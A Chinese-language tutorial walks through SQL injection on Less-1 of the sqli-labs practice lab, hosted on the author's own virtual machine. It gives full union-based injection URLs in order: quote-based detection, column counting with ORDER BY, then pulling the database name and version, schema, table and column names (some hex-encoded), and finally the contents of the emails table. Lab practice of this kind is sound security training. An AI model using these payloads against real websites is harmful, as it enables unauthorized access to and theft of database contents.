sql-libs(1) -字符型注入
关于sql-libs的安装就不做过多的说明,
环境:win7虚拟机 192.168.48.130(NAT连接),然后用我的win10物理机去访问。
直接加 ' 报错,后测试 and '1'='1 成功返回,1=2错误, 是基于字符型的注入
order by 3--+ 返回正常, 4的时候错误,得到字段为3, --+是注释符号 http://192.168.48.130/sqli-labs-master/Less-1/?id=1' order by 3--+
查找当前数据库名称和版本号:http://192.168.48.130/sqli-labs-master/Less-1/?id=-1' union select 1,database(),version()--+
查找所有数据库的名字 :http://192.168.48.130/sqli-labs-master/Less-1/?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),version()--+
前面我们知道了,当前数据库是security,我们可以爆这个数据库下的所有表名,
语句:
http://192.168.48.130/sqli-labs-master/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()
),version()--+
当然,我们也可以查 mysql (0x6D7973716C) 数据库的所有表名,http://192.168.48.130/sqli-labs-master/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x6D7973716C
),version()--+
上上图得到了emails的4个表名,假如我们想得到emails字段名,也用到16进制来进行编码, emails=0x656D61696C73
http://192.168.48.130/sqli-labs-master/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x656D61696C73
得到字段为 id 和email_id , 接下来就可以查看字段内容了 ,
http://192.168.48.130/sqli-labs-master/Less-1/?id=-1' union select 1,(select group_concat(id,0x3a,email_id) from emails
),version()--+